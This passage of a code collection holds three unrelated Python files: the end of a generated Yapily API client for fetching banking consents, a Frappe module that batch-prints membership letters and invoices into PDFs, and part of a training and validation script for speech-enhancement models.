params['one_time_token'] is None):
raise ValueError("Missing the required parameter `one_time_token` when calling `get_consent_by_single_access_consent_using_post`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'one_time_token' in params:
body_params = params['one_time_token']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json;charset=UTF-8']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basicAuth', 'tokenAuth'] # noqa: E501
return self.api_client.call_api(
'/consent-one-time-token', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Consent', # noqa: E501
auth_settings=auth_settings,
asyncRequest=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_consents_using_get(self, **kwargs): # noqa: E501
"""Get consents sorted by creation date # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_consents_using_get(async=True)
>>> result = thread.get()
:param async bool
:param list[str] filter_application_user_id: Filter consents by your application user Id (applicationUserId)
:param list[str] filter_user_uuid: Filter consents by Yapily user Id (userUuid)
:param list[str] filter_institution: Use this parameter to filter consent by institution, using the Yapily institution Id
:param list[str] filter_status: Use this parameter to filter consent by status
:param str _from: Use this parameter to filter consents created after the date specified
:param str before: Use this parameter to filter consents created before the date specified
:param int limit: Use this parameter to limit consent results, max limit is 20
:param int offset: Use this parameter to specify the offset of the results
:return: ApiListResponseOfConsent
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_consents_using_get_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_consents_using_get_with_http_info(**kwargs) # noqa: E501
return data
def get_consents_using_get_with_http_info(self, **kwargs): # noqa: E501
"""Get consents sorted by creation date # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_consents_using_get_with_http_info(async=True)
>>> result = thread.get()
:param async bool
:param list[str] filter_application_user_id: Filter consents by your application user Id (applicationUserId)
:param list[str] filter_user_uuid: Filter consents by Yapily user Id (userUuid)
:param list[str] filter_institution: Use this parameter to filter consent by institution, using the Yapily institution Id
:param list[str] filter_status: Use this parameter to filter consent by status
:param str _from: Use this parameter to filter consents created after the date specified
:param str before: Use this parameter to filter consents created before the date specified
:param int limit: Use this parameter to limit consent results, max limit is 20
:param int offset: Use this parameter to specify the offset of the results
:return: ApiListResponseOfConsent
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['filter_application_user_id', 'filter_user_uuid', 'filter_institution', 'filter_status', '_from', 'before', 'limit', 'offset'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_consents_using_get" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'filter_application_user_id' in params:
query_params.append(('filter[applicationUserId]', params['filter_application_user_id'])) # noqa: E501
collection_formats['filter[applicationUserId]'] = 'multi' # noqa: E501
if 'filter_user_uuid' in params:
query_params.append(('filter[userUuid]', params['filter_user_uuid'])) # noqa: E501
collection_formats['filter[userUuid]'] = 'multi' # noqa: E501
if 'filter_institution' in params:
query_params.append(('filter[institution]', params['filter_institution'])) # noqa: E501
collection_formats['filter[institution]'] = 'multi' # noqa: E501
if 'filter_status' in params:
query_params.append(('filter[status]', params['filter_status'])) # noqa: E501
collection_formats['filter[status]'] = 'multi' # noqa: E501
if '_from' in params:
query_params.append(('from', params['_from'])) # noqa: E501
if 'before' in params:
query_params.append(('before', params['before'])) # noqa: E501
if 'limit' in params:
query_params.append(('limit', params['limit'])) # noqa: E501
if 'offset' in params:
query_params.append(('offset', params['offset'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json;charset=UTF-8']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basicAuth', 'tokenAuth'] # noqa: E501
return self.api_client.call_api(
'/consents', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ApiListResponseOfConsent', # noqa: E501
auth_settings=auth_settings,
asyncRequest=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_user_consents_using_get(self, user_uuid, **kwargs): # noqa: E501
"""Get latest user consents # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_user_consents_using_get(user_uuid, async=True)
>>> result = thread.get()
:param async bool
:param str user_uuid: userUuid (required)
:param str filter_institution: Use this parameter to filter consent by institution, using the Yapily institution Id. This replaces the deprecated `institutionId` query param.
:param int limit: Use this parameter to limit consent results, max limit is 20
:return: list[Consent]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_user_consents_using_get_with_http_info(user_uuid, **kwargs) # noqa: E501
else:
(data) = self.get_user_consents_using_get_with_http_info(user_uuid, **kwargs) # noqa: E501
return data
def get_user_consents_using_get_with_http_info(self, user_uuid, **kwargs): # noqa: E501
"""Get latest user consents # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_user_consents_using_get_with_http_info(user_uuid, async=True)
>>> result = thread.get()
:param async bool
:param str user_uuid: userUuid (required)
:param str filter_institution: Use this parameter to filter consent by institution, using the Yapily institution Id. This replaces the deprecated `institutionId` query param.
:param int limit: Use this parameter to limit consent results, max limit is 20
:return: list[Consent]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user_uuid', 'filter_institution', 'limit'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_user_consents_using_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user_uuid' is set
if ('user_uuid' not in params or
params['user_uuid'] is None):
raise ValueError("Missing the required parameter `user_uuid` when calling `get_user_consents_using_get`") # noqa: E501
collection_formats = {}
path_params = {}
if 'user_uuid' in params:
path_params['userUuid'] = params['user_uuid'] # noqa: E501
query_params = []
if 'filter_institution' in params:
query_params.append(('filter[institution]', params['filter_institution'])) # noqa: E501
if 'limit' in params:
query_params.append(('limit', params['limit'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json;charset=UTF-8']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basicAuth', 'tokenAuth'] # noqa: E501
return self.api_client.call_api(
'/users/{userUuid}/consents', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[Consent]', # noqa: E501
auth_settings=auth_settings,
asyncRequest=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 42.545932
| 182
| 0.632819
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| 0.874743
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| 0.851675
| 0
| 0.015354
| 0.278779
| 32,420
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mieterinnenverband/MVD
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[
"MIT"
] | null | null | null |
mvd/mvd/doctype/massenlauf/massenlauf.py
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|
[
"MIT"
] | null | null | null |
mvd/mvd/doctype/massenlauf/massenlauf.py
|
mieterinnenverband/MVD
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b0c18d28f4a65a3da730dbfd23e10d41822bb104
|
[
"MIT"
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# -*- coding: utf-8 -*-
# Copyright (c) 2022, libracore and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
from frappe.utils.background_jobs import enqueue
from PyPDF2 import PdfFileWriter
from frappe.utils.pdf import get_file_data_from_writer
from frappe.utils.data import now
class Massenlauf(Document):
pass
@frappe.whitelist()
def verarbeitung_massenlauf(massenlauf):
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
if massenlauf.typ == 'Mahnung':
args = {
'massenlauf': massenlauf.name,
'sektion': massenlauf.sektion_id
}
enqueue("mvd.mvd.doctype.massenlauf.massenlauf.mahnung", queue='long', job_name='Verarbeite Massenlauf {0}'.format(massenlauf.name), timeout=5000, **args)
return 1
if massenlauf.typ == 'Kündigung':
args = {
'massenlauf': massenlauf.name,
'sektion': massenlauf.sektion_id
}
enqueue("mvd.mvd.doctype.massenlauf.massenlauf.kuendigung", queue='long', job_name='Verarbeite Massenlauf {0}'.format(massenlauf.name), timeout=5000, **args)
return 1
if massenlauf.typ == 'Zuzug':
args = {
'massenlauf': massenlauf.name,
'sektion': massenlauf.sektion_id
}
enqueue("mvd.mvd.doctype.massenlauf.massenlauf.zuzug", queue='long', job_name='Verarbeite Massenlauf {0}'.format(massenlauf.name), timeout=5000, **args)
return 1
if massenlauf.typ == 'Begrüssung durch Bezahlung':
args = {
'massenlauf': massenlauf.name,
'sektion': massenlauf.sektion_id
}
enqueue("mvd.mvd.doctype.massenlauf.massenlauf.begruessung_bezahlung", queue='long', job_name='Verarbeite Massenlauf {0}'.format(massenlauf.name), timeout=5000, **args)
return 1
if massenlauf.typ == 'Begrüssung Online':
args = {
'massenlauf': massenlauf.name,
'sektion': massenlauf.sektion_id
}
enqueue("mvd.mvd.doctype.massenlauf.massenlauf.begruessung_online", queue='long', job_name='Verarbeite Massenlauf {0}'.format(massenlauf.name), timeout=5000, **args)
return 1
if massenlauf.typ == 'Korrespondenz':
args = {
'massenlauf': massenlauf.name,
'sektion': massenlauf.sektion_id
}
enqueue("mvd.mvd.doctype.massenlauf.massenlauf.korrespondenz", queue='long', job_name='Verarbeite Massenlauf {0}'.format(massenlauf.name), timeout=5000, **args)
return 1
if massenlauf.typ == 'Rechnung':
args = {
'massenlauf': massenlauf.name,
'sektion': massenlauf.sektion_id
}
enqueue("mvd.mvd.doctype.massenlauf.massenlauf.rechnung", queue='long', job_name='Verarbeite Massenlauf {0}'.format(massenlauf.name), timeout=5000, **args)
return 1
def mahnung(massenlauf, sektion):
try:
mahnungen = frappe.get_list('Mahnung', filters={'massenlauf_referenz': massenlauf, 'docstatus': 1, 'sektion_id': sektion}, fields=['name'])
counter = 1
output = PdfFileWriter()
for mahnung in mahnungen:
output = frappe.get_print("Mahnung", mahnung['name'], 'Mahnung', as_pdf = True, output = output, ignore_zugferd=True)
if counter == 500:
file_name = "Mahnungs_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
output = PdfFileWriter()
counter = 1
else:
counter += 1
file_name = "Mahnungs_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Abgeschlossen'
massenlauf.error = ''
massenlauf.save(ignore_permissions=True)
except Exception as err:
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Fehlgeschlagen'
massenlauf.error = str(err)
massenlauf.save(ignore_permissions=True)
def kuendigung(massenlauf, sektion):
try:
mitgliedschaften = frappe.get_list('Mitgliedschaft', filters={'kuendigung_verarbeiten': 1, 'sektion_id': sektion}, fields=['name'])
if len(mitgliedschaften) > 0:
counter = 1
output = PdfFileWriter()
for mitgliedschaft in mitgliedschaften:
output = frappe.get_print("Mitgliedschaft", mitgliedschaft['name'], 'Kündigungsbestätigung', as_pdf = True, output = output, ignore_zugferd=True)
if counter == 500:
file_name = "Kündigungs_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
output = PdfFileWriter()
counter = 1
else:
counter += 1
file_name = "Kündigungs_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
for mitgliedschaft in mitgliedschaften:
m = frappe.get_doc("Mitgliedschaft", mitgliedschaft['name'])
m.kuendigung_verarbeiten = '0'
m.letzte_bearbeitung_von = 'SP'
m.save(ignore_permissions=True)
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Abgeschlossen'
massenlauf.error = ''
massenlauf.save(ignore_permissions=True)
except Exception as err:
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Fehlgeschlagen'
massenlauf.error = str(err)
massenlauf.save(ignore_permissions=True)
def zuzug(massenlauf, sektion):
try:
ungedruckte = ''
mitgliedschaften = frappe.get_list('Mitgliedschaft', filters={'zuzug_massendruck': 1, 'sektion_id': sektion}, fields=['name', 'zuzugs_rechnung', 'zuzug_korrespondenz'])
if len(mitgliedschaften) > 0:
counter = 1
output = PdfFileWriter()
for mitgliedschaft in mitgliedschaften:
if mitgliedschaft['zuzugs_rechnung']:
output = frappe.get_print("Sales Invoice", mitgliedschaft['zuzugs_rechnung'], 'Automatisierte Mitgliedschaftsrechnung', as_pdf = True, output = output, ignore_zugferd=True)
elif mitgliedschaft['zuzug_korrespondenz']:
output = frappe.get_print("Korrespondenz", mitgliedschaft['zuzug_korrespondenz'], 'Korrespondenz', as_pdf = True, output = output, ignore_zugferd=True)
else:
ungedruckte += mitgliedschaft['name'] + '\n'
if counter == 500:
file_name = "Zuzugs_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
output = PdfFileWriter()
counter = 1
else:
counter += 1
file_name = "Zuzugs_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
for mitgliedschaft in mitgliedschaften:
m = frappe.get_doc("Mitgliedschaft", mitgliedschaft['name'])
m.zuzug_massendruck = '0'
m.letzte_bearbeitung_von = 'SP'
m.zuzugs_rechnung = ''
m.zuzug_korrespondenz = ''
m.save(ignore_permissions=True)
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Abgeschlossen'
massenlauf.error = ungedruckte if ungedruckte != '' else ''
massenlauf.save(ignore_permissions=True)
except Exception as err:
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Fehlgeschlagen'
massenlauf.error = str(err)
massenlauf.save(ignore_permissions=True)
def begruessung_bezahlung(massenlauf, sektion):
try:
mitgliedschaften = frappe.get_list('Mitgliedschaft', filters={'begruessung_massendruck': 1, 'begruessung_via_zahlung': 1, 'sektion_id': sektion}, fields=['name', 'begruessung_massendruck_dokument'])
if len(mitgliedschaften) > 0:
counter = 1
output = PdfFileWriter()
for mitgliedschaft in mitgliedschaften:
if mitgliedschaft['begruessung_massendruck_dokument']:
output = frappe.get_print("Korrespondenz", mitgliedschaft['begruessung_massendruck_dokument'], 'Korrespondenz', as_pdf = True, output = output, ignore_zugferd=True)
if counter == 500:
file_name = "Begüssungs_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
output = PdfFileWriter()
counter = 1
else:
counter += 1
file_name = "Begüssungs_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
for mitgliedschaft in mitgliedschaften:
m = frappe.get_doc("Mitgliedschaft", mitgliedschaft['name'])
m.begruessung_massendruck = '0'
m.begruessung_via_zahlung = '0'
m.letzte_bearbeitung_von = 'SP'
m.save(ignore_permissions=True)
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Abgeschlossen'
massenlauf.error = ''
massenlauf.save(ignore_permissions=True)
except Exception as err:
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Fehlgeschlagen'
massenlauf.error = str(err)
massenlauf.save(ignore_permissions=True)
def begruessung_online(massenlauf, sektion):
try:
mitgliedschaften = frappe.get_list('Mitgliedschaft', filters={'begruessung_massendruck': 1, 'begruessung_via_zahlung': 0, 'sektion_id': sektion}, fields=['name', 'begruessung_massendruck_dokument'])
if len(mitgliedschaften) > 0:
counter = 1
output = PdfFileWriter()
for mitgliedschaft in mitgliedschaften:
if mitgliedschaft['begruessung_massendruck_dokument']:
output = frappe.get_print("Korrespondenz", mitgliedschaft['begruessung_massendruck_dokument'], 'Korrespondenz', as_pdf = True, output = output, ignore_zugferd=True)
if counter == 500:
file_name = "Begüssungs_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
output = PdfFileWriter()
counter = 1
else:
counter += 1
file_name = "Begüssungs_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
for mitgliedschaft in mitgliedschaften:
m = frappe.get_doc("Mitgliedschaft", mitgliedschaft['name'])
m.begruessung_massendruck = '0'
m.letzte_bearbeitung_von = 'SP'
m.save(ignore_permissions=True)
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Abgeschlossen'
massenlauf.error = ''
massenlauf.save(ignore_permissions=True)
except Exception as err:
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Fehlgeschlagen'
massenlauf.error = str(err)
massenlauf.save(ignore_permissions=True)
def korrespondenz(massenlauf, sektion):
try:
korrespondenzen = frappe.get_list('Korrespondenz', filters={'massenlauf': 1, 'sektion_id': sektion}, fields=['name'])
if len(korrespondenzen) > 0:
counter = 1
output = PdfFileWriter()
for korrespondenz in korrespondenzen:
output = frappe.get_print("Korrespondenz", korrespondenz['name'], 'Korrespondenz', as_pdf = True, output = output, ignore_zugferd=True)
if counter == 500:
file_name = "Korrespondenz_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
output = PdfFileWriter()
counter = 1
else:
counter += 1
file_name = "Korrespondenz_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
for korrespondenz in korrespondenzen:
k = frappe.get_doc("Korrespondenz", korrespondenz['name'])
k.massenlauf = '0'
k.save(ignore_permissions=True)
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Abgeschlossen'
massenlauf.error = ''
massenlauf.save(ignore_permissions=True)
except Exception as err:
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Fehlgeschlagen'
massenlauf.error = str(err)
massenlauf.save(ignore_permissions=True)
def rechnung(massenlauf, sektion):
try:
mitgliedschaften = frappe.get_list('Mitgliedschaft', filters={'rg_massendruck_vormerkung': 1, 'sektion_id': sektion}, fields=['rg_massendruck', 'name'])
if len(mitgliedschaften) > 0:
counter = 1
output = PdfFileWriter()
for mitgliedschaft in mitgliedschaften:
if mitgliedschaft['rg_massendruck']:
output = frappe.get_print("Sales Invoice", mitgliedschaft['rg_massendruck'], 'Automatisierte Mitgliedschaftsrechnung', as_pdf = True, output = output, ignore_zugferd=True)
if counter == 500:
file_name = "Mitgliedschaftsrechnungs_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
output = PdfFileWriter()
counter = 1
else:
counter += 1
file_name = "Mitgliedschaftsrechnungs_Sammel_PDF_{datetime}".format(datetime=now().replace(" ", "_"))
file_name = file_name.split(".")[0]
file_name = file_name.replace(":", "-")
file_name = file_name + ".pdf"
filedata = get_file_data_from_writer(output)
_file = frappe.get_doc({
"doctype": "File",
"file_name": file_name,
"folder": "Home/Attachments",
"is_private": 1,
"content": filedata,
"attached_to_doctype": 'Massenlauf',
"attached_to_name": massenlauf
})
_file.save(ignore_permissions=True)
for m in mitgliedschaften:
m = frappe.get_doc("Mitgliedschaft", m['name'])
m.rg_massendruck_vormerkung = '0'
m.rg_massendruck = ''
m.save(ignore_permissions=True)
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Abgeschlossen'
massenlauf.error = ''
massenlauf.save(ignore_permissions=True)
except Exception as err:
massenlauf = frappe.get_doc("Massenlauf", massenlauf)
massenlauf.status = 'Fehlgeschlagen'
massenlauf.error = str(err)
massenlauf.save(ignore_permissions=True)
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py
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Python
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trainer.py
|
JamesLiao714/FullSubNet
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"MIT"
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JamesLiao714/FullSubNet
|
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|
[
"MIT"
] | null | null | null |
trainer.py
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JamesLiao714/FullSubNet
|
dad740bac35b5d7544c97740ae59101455acdc40
|
[
"MIT"
] | null | null | null |
"""
Where the model is actually trained and validated
"""
import soundfile as sf
import torch
import numpy as np
import tools_for_model as tools
from tools_for_estimate import cal_pesq, cal_stoi
import config as cfg
def genFlac(sample, path):
sf.write(path, sample, 16000, format = 'flac')
#######################################################################
# For train #
#######################################################################
# T-F masking
def model_train(model, optimizer, train_loader, DEVICE):
# initialization
train_loss = 0
batch_num = 0
# arr = []
# train
model.train()
for inputs, targets in tools.Bar(train_loader):
batch_num += 1
# to cuda
inputs = inputs.float().to(DEVICE)
targets = targets.float().to(DEVICE)
_, _, outputs = model(inputs, targets)
loss = model.loss(outputs, targets)
# # if you want to check the scale of the loss
# print('loss: {:.4}'.format(loss))
optimizer.zero_grad()
loss.backward()
optimizer.step()
train_loss += loss
train_loss /= batch_num
return train_loss
def model_perceptual_train(model, optimizer, train_loader, DEVICE):
# initialization
train_loss = 0
train_main_loss = 0
train_perceptual_loss = 0
batch_num = 0
# train
model.train()
for inputs, targets in tools.Bar(train_loader):
batch_num += 1
# to cuda
inputs = inputs.float().to(DEVICE)
targets = targets.float().to(DEVICE)
real_spec, img_spec, outputs = model(inputs)
main_loss = model.loss(outputs, targets)
perceptual_loss = model.loss(outputs, targets, real_spec, img_spec, perceptual=True)
# the constraint ratio
r1 = 1
r2 = 1
r3 = r1 + r2
loss = (r1 * main_loss + r2 * perceptual_loss) / r3
optimizer.zero_grad()
loss.backward()
optimizer.step()
train_loss += loss
train_main_loss += r1 * main_loss
train_perceptual_loss += r2 * perceptual_loss
train_loss /= batch_num
train_main_loss /= batch_num
train_perceptual_loss /= batch_num
return train_loss, train_main_loss, train_perceptual_loss
def fullsubnet_train(model, optimizer, train_loader, DEVICE):
# initialization
train_loss = 0
batch_num = 0
# arr = []
# train
model.train()
acc = 1
for inputs, targets in tools.Bar(train_loader):
batch_num += 1
# to cuda
inputs = inputs.float().to(DEVICE)
targets = targets.float().to(DEVICE)
noisy_complex = tools.stft(inputs)
clean_complex = tools.stft(targets)
noisy_mag, _ = tools.mag_phase(noisy_complex)
cIRM = tools.build_complex_ideal_ratio_mask(noisy_complex, clean_complex)
cRM = model(noisy_mag)
loss = model.loss(cIRM, cRM)
train_loss += loss
loss = loss / cfg.accumulation_step
loss.backward()
# # if you want to check the scale of the loss
# print('loss: {:.4}'.format(loss))
if acc % cfg.accumulation_step == 0 or acc == len(train_loader):
optimizer.step()
optimizer.zero_grad()
acc += 1
train_loss /= batch_num
return train_loss
# Spectral mapping
def dccrn_direct_train(model, optimizer, train_loader, DEVICE):
# initialization
train_loss = 0
batch_num = 0
# train
model.train()
for inputs, targets in tools.Bar(train_loader):
batch_num += 1
# to cuda
inputs = inputs.float().to(DEVICE)
targets = targets.float().to(DEVICE)
output_real, target_real, output_imag, target_imag, _ = model(inputs, targets)
real_loss = model.loss(output_real, target_real)
imag_loss = model.loss(output_imag, target_imag)
loss = (real_loss + imag_loss) / 2
# # if you want to check the scale of the loss
# print('loss: {:.4}'.format(loss))
optimizer.zero_grad()
loss.backward()
optimizer.step()
train_loss += loss
train_loss /= batch_num
return train_loss
def crn_direct_train(model, optimizer, train_loader, DEVICE):
# initialization
train_loss = 0
batch_num = 0
# train
model.train()
for inputs, targets in tools.Bar(train_loader):
batch_num += 1
# to cuda
inputs = inputs.float().to(DEVICE)
targets = targets.float().to(DEVICE)
output_mag, target_mag, _ = model(inputs, targets)
loss = model.loss(output_mag, target_mag)
# # if you want to check the scale of the loss
# print('loss: {:.4}'.format(loss))
optimizer.zero_grad()
loss.backward()
optimizer.step()
train_loss += loss
train_loss /= batch_num
return train_loss
#######################################################################
# For validation #
#######################################################################
# T-F masking
def model_validate(model, validation_loader, writer, dir_to_save, epoch, DEVICE):
# initialization
validation_loss = 0
batch_num = 0
avg_pesq = 0
avg_stoi = 0
# for record the score each samples
f_score = open(dir_to_save + '/Epoch_' + '%d_SCORES' % epoch, 'a')
model.eval()
with torch.no_grad():
for inputs, targets in tools.Bar(validation_loader):
batch_num += 1
# to cuda
inputs = inputs.float().to(DEVICE)
targets = targets.float().to(DEVICE)
_, _, outputs = model(inputs, targets)
loss = model.loss(outputs, targets)
validation_loss += loss
# estimate the output speech with pesq and stoi
estimated_wavs = outputs.cpu().detach().numpy()
clean_wavs = targets.cpu().detach().numpy()
pesq = cal_pesq(estimated_wavs, clean_wavs)
stoi = cal_stoi(estimated_wavs, clean_wavs)
# pesq: 0.1 better / stoi: 0.01 better
for i in range(len(pesq)):
f_score.write('PESQ {:.6f} | STOI {:.6f}\n'.format(pesq[i], stoi[i]))
# reshape for sum
pesq = np.reshape(pesq, (1, -1))
stoi = np.reshape(stoi, (1, -1))
